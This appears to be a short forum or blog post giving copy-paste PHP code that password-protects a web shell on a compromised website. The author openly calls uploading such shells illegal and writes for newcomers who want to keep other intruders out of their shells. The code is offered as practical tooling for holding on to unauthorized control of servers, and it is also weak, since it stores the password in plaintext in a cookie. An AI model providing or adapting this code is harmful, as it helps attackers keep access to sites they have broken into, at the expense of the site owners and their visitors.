how to secure php shell by adding password

Hello Friends,
during surfing net, unintentionally i found several shell uploaded on different website's.
Anyone having url can access and can use all features of those shell, if you are newbie and want to upload your shell on website (Illegal Activity) restrict the access to shell for others.
if you are not good in programming you can use my code to add password to shell.
Just Copy And Paster these line to your shell code, and your shell will be password protected.
Open Shell file with text editor and add below lines at starting:

<?php
$unknowndevice64='test'; // write your password/key/code to access shell
if($_POST['ud64passkey']==$unknowndevice64)
{ setcookie('unknowndevice64shell',$unknowndevice64);
header("Refresh:0"); }
if($_COOKIE['unknowndevice64shell']==$unknowndevice64)
{ ?>

Similarly add below lines at the end:

<?php } else { ?>
<form action="" method="post">
Name: <input type="password" name="ud64passkey"><br>
<input type="submit">
</form>
<?php } ?>

One more thing i wanna share that, all free shell available on net have backdoor, and have access to their coders.
above provided code will also restrict access to them :)